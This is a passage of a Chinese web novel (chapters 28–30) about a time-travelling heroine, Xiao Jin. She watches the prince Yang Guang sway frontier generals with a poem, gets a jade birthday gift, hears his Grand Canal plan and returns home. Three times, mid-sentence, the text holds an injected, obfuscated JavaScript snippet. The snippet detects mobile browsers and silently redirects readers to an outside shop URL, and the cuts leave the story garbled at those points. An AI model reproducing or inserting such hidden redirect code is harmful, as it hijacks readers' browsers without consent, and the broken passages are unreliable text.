“云内戍的帐篷,该是双层羊皮毡,到你们手里是单层粗麻布混芦絮。采购价却按羊皮毡算。” 他看向络腮胡将领,“递这消息给我的,是你们戍里一个老伙头军。他儿子冻死后,揣着边角料,走了三个月,一路要饭到江都找我。” 死寂。 那汉子嘴唇哆嗦着。 “马邑被征的种粮,”杨广转向年轻将领,“本该从常平仓调拨补上。文书被户部一个主事压了三个月,最后拨去的是三成霉变的陈粟。主事,是东宫一个录事参军的表亲。” 年轻将领的手猛地攥紧,骨节发白。 “还有你们村,”他看向疤脸老兵,“征粮的胥吏多报了五十石,差价进了本地一个县丞的腰包。那县丞,是东宫一个率更令的妻弟。” 他每说一句,将领们的脸色就白一分。 那不是愤怒,是更深的、冰凉的绝望。原来每份苦难背后,都连着长安城里一张具体的、带着官衔的关系网。 杨广站起身,走到篝火旁,弯腰抓起一把土。 “这把土里,有血。”他摊开手掌,让黄土从指缝缓缓流下,“你们的血,你们同袍的血,你们亲人的血。” “这血,不能白流。” 年轻将领哽咽:“殿下,我们人微言轻……” “那就让自己变重。”杨广打断他,声音斩钉截铁,“我在江都十年,清田亩、整漕运,一开始,江南世家谁把我放在眼里?” 他顿了顿,嘴角扯出极淡的、近乎锋利的弧度: “现在呢?” 无人应声。 “我不是要你们学我。”他走回原处,却不坐,“是要你们知道,有些事,不是不能做,是看有没有人敢做,有没有人……愿做。” 他从怀中取出一个边缘磨毛的桑皮纸卷轴,展开,平铺在火旁的石头上。 “这是我这些年,整理的钱粮、漕运、仓廪实据。还有未来三年,我能调动的物力估算。” 他抬起眼,目光扫过众人: “如果,陛下允我插手北边军务的话。” 北边军务! 好家伙,图穷匕见了是吧。 我趴在帘子后面,心里瞬间门儿清。 什么体恤下属、倾听疾苦,全是前戏。他真正要的,是皇帝对北方边防的实权!这可比在江南搞搞建设硬核多了,是能真正握住刀把子的东西! 这几个憨直的边将显然没品出这话里的深意,他们互相看了看,几乎同时凑上前,借着火光细看那份卷轴。 火苗跳动,映着他们黝黑的脸。 我能清晰地看到他们眼神的变化,从最初的将信将疑,到看清内容后的震惊,再到最后…… 那是一种近乎灼热的、抓住救命稻草般的专注。 得,被忽悠瘸了。 杨广退后一步,目光投向篝火之外的沉沉夜色,仿佛能穿透黑暗,看见遥远的边墙。他忽然开口,声音不高,却带着一种沉入回忆的质感: “三年前,本王在北境巡边。有一次追剿小股突厥流寇,深入阴山以南。夜里宿营时,也是这样的篝火,还有远处的胡笳声。” 他顿了顿,像是在斟酌词句,又像是在还原那个场景。 “那天夜里风很大,吹得营火明灭不定,四野苍茫。本王望着亘古不变的星野,和远处巨兽脊梁般起伏的山影,心有所感,得了首诗。” 来了来了,杨·随时随地·诗词朗诵·广。 这年头收买人心不吟两句诗,是不是显得不够有文化? 我虽然内心疯狂吐槽,但不得不承认,他这个故事背景选得极其高明。 北境,追剿突厥,夜里篝火,胡笳声……每一个元素都精准地戳在了这帮边将最熟悉、也最容易共鸣的点上。 他望着篝火,缓缓念道: “肃肃秋风起,悠悠行万里。” 嚯,开篇还怪有气势。 “万里何所行,横漠筑长城。” “横漠”二字像重锤,落下时周遭空气仿佛都凝了一瞬。 我的目光也顿住了。 不是风花雪月。 是铁与沙的味道。 “岂台小子智,先圣之所营。” “树兹万世策,安此亿兆生。” 万世策,亿兆生。 火光照着他半张侧脸,那双眼睛里有种近乎虔诚的笃定。这一刻,我竟忘了他是谁,忘了史书上那些干巴巴的,关于暴虐的记载。 他只是那个将要继承“先圣之志”、为亿兆生灵树万世之策的人。 胸腔里有什么东西,轻轻震了一下。 “讵敢惮焦思,高枕于上京。” “北河见武节,千里卷戎旌。” “卷”字出口时,他的右手无意识地虚握了一下。 ……妈的,这动作帅得有点犯规。 那姿态里有种令人心悸的力量感,仿佛千军万马真的在他指掌间。 诗句继续流淌: “山川互出没,原野穷超忽。” “撞金止行阵,鸣鼓兴士卒。” 边塞的苍茫地貌在诗行里铺开。 我偷瞄那几个将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176100|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领,他们眼睛越来越亮。那是认出自个儿地盘,认出那些用命趟熟的山川沟壑时的眼神。 他太懂了。 懂得如何用最精准的意象,刺中最深的共鸣。 然后—— “千乘万旗动,饮马长城窟。” 他的声音在这里微微扬起,带着某种金属般的穿透力。 所有杂音都消失了。 “饮马长城窟”。 五个字,我天灵盖都麻了。 我知道这意味着什么。 是将士的铁蹄踏破荒漠,是战马在古老城墙下畅饮,是军人能想象到的,最极致的浪漫。 他不仅承诺胜利,更承诺荣耀。 他在画饼,画一张镶金边的、带着战马嘶鸣和血与火的超级大饼! “秋昏塞外云,雾暗关山月。” “缘岩驿马上,乘空烽火发。” “借问长城侯,单于入朝谒。” 他要的不只是击退,是让单于来朝,是让万国跪伏。 “浊气静天山,晨光照高阙。” “释兵仍振旅,要荒事万举。” “饮至告言旋,功归清庙前。” 从出征到凯旋,从流血到留名,每一步都清晰,每一步都……那么让人向往。 余音在夜风里散尽。 我还在这诗构筑的图景里出不来。 黄沙,铁甲,号角,猎猎旌旗,长城脚下畅饮的战马,晨光中巍峨的关阙。 那么壮阔,那么……令人心颤。 胸腔里有东西在鼓胀,是被宏大叙事砸懵了的战栗,是对“参与伟大事业”本能的、该死的向往。 然后—— “殿下!” 络腮胡将领第一个重重跪下,膝盖砸在沙土地上,闷响如雷。 “殿下!” “殿下!” 接连几声,所有边将都跪了。甲胄摩擦,声音肃穆。 他们低着头,最纯粹的军礼,最彻底的交付。 心和人,都给你了。 我的目光,无意识地顺着那些跪倒的身影,向上移去。 移到了杨广脸上。 火光跃动,照亮他的面容。 没有惊讶。 没有感动。 没有半分“得遇知音”的动容。 他的脸上,只有一种平静到极致的了然。 唇角甚至有一丝极淡的弧度。 那不是笑,是掌控。是一切尽在预料之中的、近乎漠然的睥睨。 仿佛眼前这些热血沸腾、甘心折腰的将领,他们情绪的起伏,他们忠诚的献上,不过是他拨动琴弦后,预料之中必然响起的音符。 他不是被感染了才念诗。 他是为了感染这些人,才念了这首诗。 我在那一瞬,如坠冰窟。 所有被诗句点燃的热血,所有被宏大叙事激起的战栗,在这一刻,碎了。 碎在他那双冷静得可怕的眼睛里。 刚才所有让我心潮澎湃的意象,所有让我屏息凝神的画面,原来……都是他精心挑选的筹码。 他在用最美的语言,最磅礴的构想,完成一场精准的、冷酷的收服。 诗是真的好诗。 愿景是真的壮阔。 可念诗的人……从头到尾都清醒地知道,自己在做什么。 他在操控,用理想当诱饵,用荣耀当锁链。 我浑身发冷,可心脏却还在为那句“饮马长城窟”狂跳,那该死的、不受控制的悸动。 看清了,萧锦。 你眼前这个人。 是影帝。是能让你明知是戏,还忍不住想喝彩的顶级演员。 是PUA大师。是能用你最渴望的东西,为你编织一个心甘情愿的牢笼的操纵者。 他太知道人们想要什么了。 想要意义,想要归属,想要自己的血与汗能浇筑进某个不朽的事业里。 他慷慨地给,用最华丽的诗句给。 可给的时候,他就已经在计算回报。 28. 生辰礼 一会儿,篝火边的聚会散了。将领们红着眼眶,却挺直腰杆离去,带着一股被重新点燃的劲儿。 杨广独自站在将熄的篝火旁,背影被拉得很长。 我正想悄悄缩回去,他却忽然转过头,目光精准地投向我的帐篷。 “既然醒了,就出来吧。夜风虽凉,吹吹也好过在帐中憋闷。” ……被抓包了。 我讪讪地放下帘子,紧了紧外袍,慢慢挪了出去。 走近了,才更看清他。 玄衫被火光照得暖黄,侧脸线条在明明灭灭的光影里显得格外清晰。 他手里还拿着那根拨过火堆的枯枝,有一下没一下地点着地上的土。 “都听到了?” “嗯。”我老实承认,在他面前装傻好像没什么用,“殿下的诗……念得挺是时候。” 他侧过头,饶有兴致:“哦?怎么讲?” 我扯了扯嘴角:“刚听完他们诉苦,殿下这诗一念,啧,跟打了鸡血似的。”就差没说“洗脑效果一流”了。 他定定看着我,篝火噼啪声里,那目光沉得让人发毛。 半晌,他低笑一声:“你倒是什么都敢说。” 那笑声里,第一次没了那种掌控一切的从容,反倒像是……有点意外? 他大概没想到,我不仅听懂了诗,还看穿了他这场精心设计的“表演”。 而我刚说完就后悔了…… 死嘴!比脑子快! 人晋王殿下辛辛苦苦搭台子、点篝火、拉听众,演这么一出“体恤下属、胸怀大志”的戏码,不就是为了收拢人心吗?我老老实实当个被感动的观众不就完了? 非得嘴贱戳穿?! 嫌自己不够显眼?! 可话已出口,收不回来了。 “不过,看穿又如何?”正当我脑补了一堆灭口戏码时,杨广突然开口。 他看着我,篝火在他眼底明明灭灭:“在某一瞬间,你当真,没有过一丝震动?” 震动? 何止啊。 那一瞬间,什么算计,什么立场,什么他是谁,全都不作数了。 就是被那诗句里横冲直撞的力道给镇住了。 就像第一次真正站在大江边上,看着浑黄的江水不管不顾地往前冲,什么话都说不出来。 所以你看啊。 这就是他最可怕的地方。 哪怕你把他每一步算计都看得清清楚楚,哪怕你心里警铃震天响,但当那句诗真劈头盖脸砸下来,脑子还是会嗡嗡作响,一片空白。 太蛮横,也太壮阔了。 那一刻,我甚至忘了他是杨广,忘了他是隋炀帝,忘了他是我未来的“丈夫”。 就只是个被一首好诗、被那种磅礴野心震撼到的、没出息的听众。 而就在这个瞬间,某些深埋了七年的东西,突然决了堤。 我看着眼前这个人,这个聪明到极点、文采灼人、我竟认识了两辈子的男人,一个念头毫无预兆地撞上来,怎么也压不下去。 我想跟他分享。 此刻,我只能跟他分享。 “殿下,”我听见自己的声音,轻飘飘的,带着伤后的虚软。 “我小时候……做过一个很长很长的梦,梦到过,我的……前世。我的前世,也有好多好多的诗。” “关于边塞,关于长城,关于那些,血与火。” 他眉梢微动,没打断。 “我读过‘秦时明月汉时关,万里长征人未还’。” 我念得很轻,可每个字都像从很深的地方捞出来,带着隔世的凉气。 “黄沙百战穿金甲,不破楼兰终不还。” “大漠孤烟直,长河落日圆。” “醉卧沙场君莫笑,古来征战几人回。” 我一首接一首地念,像着了魔。 那些在上辈子需要死记硬背的句子,此刻却滚烫地烙在舌头上。 五年了,我没跟任何人提过那个世界,可就在刚才,在他念出“饮马长城窟”的那一刻,我突然就忍不住了,我想告诉他,告诉这个我认识了两辈子的男人: 你看,我也见过星辰,见过你诗里没写尽的那些月亮、黄沙和醉卧沙场的人。 我每念一句,都能感到他的目光更专注一分。 他的呼吸节奏变了,摆弄着篝火的手指也停了下来。 这些诗句里蕴含的意象、气魄、乃至某些超前的凝练,对于一个顶尖的文学鉴赏者、野心家而言,不亚于惊雷。 “那些诗都很好,璀璨得像星星。”我收回目光,看向他,很认真地说,“但没有一首,像刚才听到殿下念的这样……让我觉得震撼。” 我停了停,补上那句最真的话: “哪怕我清楚,殿下念诗,不只为念诗。” 为收拢人心,更为北境兵权。 他眼底有什么闪了一下。 “可诗是真的,”我继续说,声音很轻,“诗里的那股劲儿……骗不了人。殿下心里,一定有一个宏大的夙愿,想真的‘饮马长城窟’,想让单于来朝。对不对?” “我听到了那些将军的委屈和愤怒,看到了他们眼里的血丝。然后,殿下念了那首诗。它不是在书页上,它是在这里——” 我指了指脚下坚实的土地,又指了指自己的心口。 “在篝火边,在黄河的风里,在活生生的人的痛苦和希望里……长出来的。” “我见证了它被念出来的这一刻。所以,它不一样。” 因为在那一瞬间,我突然就分不清了。 分不清是那些照亮过我‘前世’梦境的、灿烂冰冷的星辰更真实,还是眼前这首刚刚从血与火中诞生的、滚烫灼人的诗更真实。 杨广静静地看着我,那双深邃的眼睛在夜色里格外亮。 过了好一会儿,他才缓缓道:“萧姑娘,你看得穿人心,却还愿意信那诗里的几分真。这一点……很难得。” 他顿了顿,问:“你的‘前世’,还梦到过什么?” 还梦到什么? 梦到你的龙椅,你的末日,我的飘零。 但这些,一个字都不能说。 “忘了。”我垂下眼,语气平淡。 “大多是些乱七八糟的影子。就诗,因为好听,记得清楚些。” 他低低笑了一声,没再追问,那笑声意味不明。然后在旁边一块稍微平整的石头上坐下,又指了指另一块:“伤没好全,别站着。坐。” 我小心翼翼地坐下,伤口牵扯还是让我龇了龇牙。 “有意思。”他忽然开口,目光落在将熄的篝火上,“与你说话,不像对着一个十五岁的小丫头。” 我下意识反驳:“我十六了。” “嗯?” “今天,”我抬起头,看着跳动的最后一点火星,扯了扯嘴角,有点自嘲,“现在子时都过了。所以,今天是我十六岁的生辰。” 没想到吧?本姑娘的十六岁,是在被人追杀、差点死掉、然后窝在你晋王殿下军营里,听着边将哭诉和你的帝王诗篇中度过的。 真是……毕生难忘。 我忽然想起老贺离京前拍着我肩膀说“生辰前一定回来”。 现在他应该已经回府了,看见我留的那封“去岐州上香”的信,估计正气得吹胡子瞪眼,琢磨着等我回去怎么收拾我呢。 还有贺璟,陇右那边也不知道怎么样了,仗打得顺不顺利? 说是半个月,没准他都比我先回家了。 我说完,杨广明显顿了一下。他转过头看我,篝火余烬的光在他侧脸跳跃:“今天?” “嗯。” “十六岁生辰……”他重复了一遍,声音比方才低了些,那点惯常的掌控感淡去,倒像真的在琢磨这件事,“确实没想到。你的十六岁,开场……很是别致。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182063|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 何止别致,简直是要命。 “是啊,”我抱着膝盖,把下巴搁在上面,“毕生难忘。” 气氛忽然安静下来,只有远处黄河隐隐的水声,和风吹过营旗的猎猎响。 过了好一会儿,杨广忽然站起身:“你等一下。” 他转身快步往走向主帐方向走去。 我有点懵,却也只能乖乖等着。 不多时,他回来了,手里拿着一个巴掌大的、扁平的木匣。 匣子很朴素,没有花纹。 他在我面前重新坐下,将木匣递过来。 “仓促之间,没有什么像样的东西。这个,”他顿了顿,“算是补给你的……生辰礼吧。” 我愕然,没接:“殿下,这……” “打开看看。”他语气不容拒绝。 我只好接过,有点沉。 打开盖子,深蓝色的绒布上躺着一枚玉佩。 白玉的,雕的不是龙啊螭的,是一枝木槿。雕工简洁,花瓣却生动,在残存的火光下温润生光。 木槿…… 我猛地抬头看他。 “那日灯市,见你似乎喜欢木槿花。”他神色平静,仿佛在说一件极寻常的事,“这次北上,路过并州时见着这块料子,顺手让人雕了。” “本想找个合适的时机给你,今日既是你生辰,便算凑个巧。” ……哈? 几个意思? 就算我不过生日,这玉佩……也是准备找机会给我的? 这算什么?精准投放?情感投资?还是……他真记得? 我心里那根警惕的弦瞬间又绷紧了。 萧锦,清醒点!这是杨广!他连边将的人心都能用一首诗收得服服帖帖,送块玉佩算什么? 可我的目光却黏在那玉上挪不开。 那朵木槿线条干净,在月光下静静躺着。 ……他居然真记得。 而且,是真好看。 接,还是不接? 接了,就像进了他的节奏。不接……哦,以他的性格,不会允许我不接…… 就在我内心天人交战,脸上表情估计也相当精彩时,杨广忽然伸手,越过木匣,用指尖极其轻、极其快地,拂过我额前因为虚弱和慌乱而汗湿的一缕碎发。 微凉,带起一阵细微的战栗。 “拿着吧。”他收回手,声音比方才低沉了些,在寂静的夜色里,有种说不清的意味,像是命令,又像是一种……放缓了姿态的劝说,“就当是……庆贺你的十六岁,大难不死。” 说完,他站起身,不再看我。 “夜风寒,你伤未愈,早些回去歇着。” 我独自站在将熄的篝火旁。 手里捧着那个木匣,这下真成“拿人手短”了。 夜风卷着黄河的水汽劈头盖脸砸过来,我缩了缩脖子。得,篝火没了,暖气片没了。 肩胛下的伤口开始兢兢业业地刷存在感,很好,疼痛让我清醒,提醒我今晚不是在做梦。 生日。 礼物。 诗。 一群大汉哭得稀里哗啦然后跪得整整齐齐。 还有那句“饮马长城窟”,现在想起来心脏还漏跳半拍。 所有东西,连同他刚才那一下快得像错觉的碰触,全在脑子里开趴体。 乱,就一个字。 我知道他在演,在算,在下棋。 可当他念出那句诗的时候,我还是可耻地……觉得帅爆了。这算不算被人卖了还帮人数钱? 现在这玉佩躺在这儿,像是个温柔的证据,又像是个高级的讽刺:看,你明明知道是套路,还是接了。 风更大了,我打了个哆嗦,赶紧撤吧,再站下去真要感冒了。 攥紧木匣,我拖着半残的身子,灰溜溜挪回我那顶冷清的帐篷。 身后,最后一缕烟,散得干干净净。 29. 功在千秋 之后的几天,我就窝在这个临时的营帐里养伤。 我给贺府送了封信报平安,信里没细说,只含糊提了句“归途遇匪,幸得晋王相救,暂留养伤”。 这说辞我自己听着都假,但一时半会儿也编不出更圆的。 杨广这几天没怎么露面。 他忙得脚不沾地。这处营地离黄河堤岸不远,时常能听见远处人喊马嘶、号子震天。 我偶尔让云枝扶我出帐透气,就能看见他一身常服沾着泥点子,在工棚和堤坝间来回奔走,眉头锁得死紧。 黄河这祖宗,真是几千年如一日的折腾人。 我上辈子在历史课本上看过无数“黄河水患”的记载,此刻亲眼见到才明白那四个字有多沉,浑浊的河水像头憋着怒的巨兽,堤岸上民夫蚂蚁似的扛着沙包石料,监工吼得嗓子都劈了。 有天夜里我疼得睡不着,掀开帐帘一角,正好看见他带着几个文吏模样的人从堤上下来。 火把光里,他脸上满是疲惫,但眼睛亮得吓人,正比划着什么,语速极快。那几个人边听边点头,有个年纪大点的老臣激动得胡子直颤。 啧,工作狂。 不过托他的福,我这伤养得挺踏实。 军医隔日就来换药,伙食也比预料中好。鸡汤、鱼羹、时蔬小炒,甚至还有江南的米糕。 云枝偷偷跟我说,是晋王特意吩咐的。 行吧,甭管真心还是假意,这人情越欠越大了。 大概七八天后,我胳膊上的伤口结了痂,行动无碍了。 那天下午难得放晴,我搬了个小马扎坐在帐外晒太阳,正眯着眼昏昏欲睡,就听见脚步声。 杨广来了。 他换了身干净衣裳,但眼底仍有倦色。见我坐在那儿,脚步顿了顿,走过来。 “看来是好得差不多了。”他在我旁边站定,目光扫过我拆了纱布的胳膊。 “托殿下的福。”我站起身,规规矩矩行了个礼。 他摆摆手,示意我坐,自己也撩袍在旁边一块石头上坐了。 两人之间隔着恰到好处的距离。 “殿下最近……挺忙?”我试探着开口。 “嗯。”他揉了揉眉心,“黄河这段堤坝去年才加固过,今年春汛又冲垮了三十丈。底下报上来的账目不清,石料以次充好,抓了几个胥吏,一问三不知。” 我听着,心里明镜似的,又是老问题。 贪腐、敷衍、层层盘剥。李纲用命换来的那点震动,在黄河这条巨兽面前,仿佛从没发生过。 “水患自古就是难题。”他望着远处奔流的河面,声音有些沉,“年年修,年年溃。堵了这边,那边决口。民力耗尽,国库吃紧。” 我下意识接了一句:“若只知堵,不知疏,终究治标不治本。” 话一出口,我就想抽自己。 又嘴快! 但杨广倏地转过头,眼睛亮了。 “萧姑娘与本王所想,竟不谋而合。” 他身子微微前倾,语气里带着一种压不住的灼热:“这些年本王一直在想,若不止于修堤筑坝,而是另辟一条路。” 他手指在膝上虚虚一划,仿佛在描摹一张宏大的图卷: “从南到北,开凿一条贯穿天下的河道。连通黄河、淮水、长江,乃至钱塘。让南北水系贯通,漕运畅通无阻。南粮可北运,北兵可南调,商旅往来,物资流通……届时,何须再惧黄河一隅之患?” 我脑子“嗡”的一声。 大运河。 历史上那个耗尽了民力国力、拖垮了大隋根基的超级工程,此刻还只是他口中的“一个念头”。 夕阳的光落在他脸上,那双眼睛里跳动着某种近乎狂热的光彩。那是野心,是抱负,是超越时代的、令人心惊的构想。 我张了张嘴,喉咙发干。 “殿下……宏图大志。”最后挤出这么一句,声音低得几乎听不见。 知道结局再回头看这蓝图,只觉得每个字都沉甸甸的,压得人喘不过气。 他似乎察觉到我语气里的异样,目光深了些:“你觉得此念如何?” 我能说什么? 说你会因此征发百万民夫,累死饿死无数人? 说你会耗尽国库,逼反百姓,最终江山易主? 说这条运河在千百年后确实福泽后世,被称为“京杭大运河”,但对你、对眼前这个时代而言,它就是催命符? “工程浩大,非一代人能成。”我选了个最安全的说法,每个字都斟酌着,“需举国之力,更需……慎之又慎。” 他笑了。 那笑意里没有嘲讽,反而有种找到知音般的畅快,甚至带着点少年人似的执拗: “正因为难,才值得去做。我在江都十年,亲眼见过江南米粮北运之艰,漕船翻覆,颗粒无收。也见过北方旱涝,饥民遍地,而江南丰稔之粮却因路途阻滞,鞭长莫及。” 他站起身,望向南方,背影在夕阳里拉得很长。 “若有一条水路贯通南北,丰年可调剂,灾年可赈济,兵员粮秣朝发夕至,商贾货殖昼夜不息。于国,是血脉畅通;于民,是活路万千。” 他顿了顿,回头看我,一字一句: “此等功业,纵使艰难,纵使耗费,亦当为之。功在千秋。” 功在千秋。 这四个字砸下来,我心头剧震。 是啊,功在千秋。 京杭大运河,在现代是写在历史课本里的伟大工程,是南北经济文化的大动脉。我甚至记得旅游时坐船经过某些河段,导游还会感慨,“这是隋炀帝的遗产”。 可功在千秋,也是“罪在当代”。 史书说隋炀帝是个疯子,因为他有超越时代的眼光,却没有与之匹配的耐心和节制。他想在短短几年里,完成本该几代人慢慢做的事。 而此刻,我就坐在这里,听着这个“疯子”亲口描绘他的梦想。 夕阳渐渐沉下去,天边染上瑰丽的紫红色。 营地里传来伙夫招呼吃饭的吆喝声,远处堤坝上的人影还在忙碌。 我突然觉得,自己好像站在了某个历史的岔路口。 亲眼看着一个念头如何萌芽,如何灼烧一个人的眼睛,又如何……将拽着整个王朝走向既定的深渊。 这种滋味,复杂得难以言说。 “殿下,”我沉默许久,终于开口。 “我的伤已好得差不多了。离家多日,家父定然惦记。明日……我想回京了。” 杨广似乎刚从那种激昂的情绪里抽离出来。他看了我一眼,点点头: “也好。此地杂乱,不宜久留。” 他顿了顿:“本王派一队护卫,送你们回去。” “多谢殿下。” 他站起身,似乎还想说什么,但最终只是摆了摆手,转身朝主帐走去。 背影依旧挺拔,却仿佛被暮色镀上了一层沉重的鎏金。 我坐在马扎上,很久没动。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184757|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝走过来,给我披了件外衣:“小姐,起风了,回帐里吧。” 我“嗯”了一声,慢慢站起身。 回头最后望了一眼黄河。 浑浊的河水在暮色里奔流不息,仿佛什么都知道,又仿佛什么都不在乎。 多年后,这里会有一条运河与它交汇。 而那条运河的开端,就在刚才,在一个黄昏的营地里,从一个年轻皇子的口中,第一次被清晰地描绘出来。 我打了个寒颤。 回到帐中,云枝已经手脚麻利地把我的小包袱卷好了。明天一早,晋王府的人就会护送我们回长安。 躺在床上,听着外面黄河哗啦啦的水声,跟催命符似的,吵得我脑仁疼,半点睡意都没有。 月光从帐子缝里溜进来,在地上划了道白线,冷飕飕的。 看着那道光,我脑子就跟走马灯似的,杨广那张脸开始自动循环播放。 第一个蹦出来的,是今天黄昏,他说起那条贯穿南北的大河时,那双亮得吓人的眼睛。 “功在千秋”四个字砸下来,配上他那种“这破事儿再难老子也要干”的架势,当时我真觉得胸腔里有什么东西被狠狠撞了一下。 那蓝图太疯狂了,但也……太耀眼了。 紧接着,那晚篝火的噼啪声好像又在耳朵边响起来了。 “饮马长城窟”这五个字,现在想起来,心脏还跟被什么攥了一下似的,砰砰乱跳。 他那念诗的样子,手势,语气……啧,影帝级别的感染力。 虽然我清楚知道他在收买人心,可当时那股热血往头上涌的感觉,是真的,骗不了人的。 然后是……药碗。 他端着碗坐我床边,一勺药一颗梅子,指腹蹭过嘴角,粗粗的,微凉,存在感强得……让人心烦意乱。 他像个专横的债主,逼我把“救命之恩”和“善后之情”一起吞下去。 再往前倒,他胸口那道浅浅的疤痕,麟德殿外他接玉佩时碰到的手指,上元夜他往我头上插簪子时说的“很衬你”…… 完了完了。 我猛地坐起来,捂住脸。 这算什么? “未来暴君”魅力体验报告合集? 史书上那个干巴巴的“炀帝”俩字,在我这儿好像彻底糊掉了。 取而代之的,是眼前这个活生生的、会写诗、会打仗、会救人、谈起理想眼睛会发光、算计起人来也毫不手软的杨广。 危险,太危险了。 不是他这个人多危险(好吧,他也挺危险的),是我这状态危险! 我居然……有点被吸引了? 就因为他现在看起来像个有理想、有本事、还长得很帅的顶级事业批皇子? 不行不行不行! 萧锦你醒醒! 我用力拍了两下自己的脸。 打住!必须打住! 回家就好,回家就好了。 回到贺伯伯身边,回到阿兄眼皮子底下,回到长安城里那些鸡飞狗跳但踏实安全的日常里去。 只要离他远点,不再有这些要命的交集,这点莫名其妙的心慌意乱,肯定能自己消停。 对,就是这样。 我重新躺下,把被子拉过头顶,仿佛这样就能把那个人的影子隔绝在外。 帐外,黄河水还在不知疲倦地轰隆作响,像个看透一切的老怪物,闷闷地嘲笑着我的自欺欺人。 不管了。 明天,就回家。 30. 贺璟的心意 回去的路走了三天。 到家时,午后阳光正好,暖烘烘地洒在贺府门前的石狮子上。 马车还没停稳,我就听见老贺那标志性的大嗓门从门里炸出来:“这死丫头!回来看我不打断她的腿!” 我掀开车帘,正对上门口那两尊“门神”。 老贺双手叉腰,胡子吹得老高。贺璟站在他身侧,一身墨色常服,背脊挺得笔直,依旧是那张没什么表情的冰山脸。 “还知道回来?!”老贺几步跨过来,手指头差点戳到我脑门上,“留封信就敢跑岐州?啊?!翅膀硬了是吧?!你知不知道——” “贺伯伯!” 我跳下车,腿还有点软,但心情却像卸下了千斤重担。听着他中气十足的骂声,这些天在岐州憋着的紧张、死里逃生的后怕,忽然就散了。 我没哭,反倒咧嘴笑了。 然后,在所有人反应过来之前,我张开胳膊,结结实实地给了老贺一个熊抱! “想死你们了!” 老贺的骂声戛然而止。 他整个人都僵了,两只常年握刀枪的大手悬在半空,放也不是,不放也不是。最后,只能笨拙地、象征性地拍了拍我的背。 “……行了行了,”他声音明显软了,但还是硬撑着凶,“像什么样子!还不快进去!” 我松开他,嘿嘿一笑,转头看向贺璟。 他也正看着我,眼神深得像潭水。从上到下,仔细扫了一遍,确认我全须全尾,这才几不可察地点了下头。 “进去说。”他侧身让开路。 书房里,门窗一关,世界就安静了。 我省去了“预知”那些玄乎的,只说我偶然听到风声,不放心,就带着云枝去岐州看了一眼。 “看看?!”老贺眉毛又竖起来了,“看出一身伤回来?!” “那不是赶上了嘛,”我缩了缩脖子,“谁知道真有杀手。李纲他娘……我去晚了一步,没救下来。不过他妻子和一对儿女,我全带出来了,虽然最后是晋王的人接的手。” 讲到雨夜狂奔的那段,老贺气得直拍桌子:“胡闹!简直是胡闹!下次再敢——” “没有下次了!”我立刻举手发誓,“绝对没有!” 老贺瞪着我,气呼呼地喘了半天,然后问,“杀手呢?谁派的?” “都死了。” 我摇头,“晋王的人围上去,他们直接咬毒自尽,是死士。身上没标记,兵器也是最普通的货色。” “哼,干净利落,果然是老手。”老贺冷笑一声,随即又问,“李纲那老小子,真藏了什么东西?惹得人要灭他满门?” “不清楚,”我老实回答,“现场乱得很,人又立刻被晋王接走了,没来得及细问。或许有,或许上面的人也只是为了泄愤。” 老贺沉默片刻,最终重重叹了口气:“……算了,人救回来,总是好事。至于其他,也不是咱能掺和的。” 他没再深究我是怎么“听到风声”的。 倒是提到杨广时,沉默片刻,才道:“此番……晋王倒是周全。” 语气虽淡,但能听出是肯定。 谁说不是呢。 既救了人,又没落人口实,分寸拿捏得恰到好处。还能让老贺这种对皇子向来保持距离的纯臣说出“周全”二字,杨广也算没白忙活。 顿了顿,老贺又说,“这次……是贺伯伯不好。我要是没出去躲清静,也不至于让你个小丫头片子去冒险。”他的声音里还带着点没散干净的后悔。 “哪能怪您啊,”我赶紧说,“是我自己跑出去的。再说了,这不没事嘛!” 老贺看着我,眼神复杂,最后只是重重拍了拍我的肩:“回来就好。” 他手掌很厚实,力道沉甸甸的,拍得我晃了一下,但心里却暖烘烘的。 气氛彻底松快下来。 我转头看向贺璟,问,“阿兄陇右之行还顺利吗?什么时候回来的?” 贺璟没说话。 倒是老贺在旁边“哼”了一声,语气里带着点说不清的意味:“这小子,你生辰那天晚上赶回来的。原定半月的巡防,他硬是压到了十天,日夜兼程跑回来的。” 我愣住了。 生辰那天晚上…… 那天,我在黄河边的篝火旁,听着杨广念诗,接过那枚白玉木槿佩。 他提前回来了? “是战事提前结束了。”贺璟的声音平静地响起,像在解释一件再寻常不过的事。 “……哦。”我应了一声,心里却有点说不清的异样。 只是战事提前结束吗? 可为什么总觉得……他最近好像不太对劲。 具体哪里不对劲,又说不上来。 他话还是不多,表情也还是一样沉静,可就是有种说不上来的感觉。 好像更沉默了些,看我的眼神偶尔会停一下,又很快移开。 是我想多了? 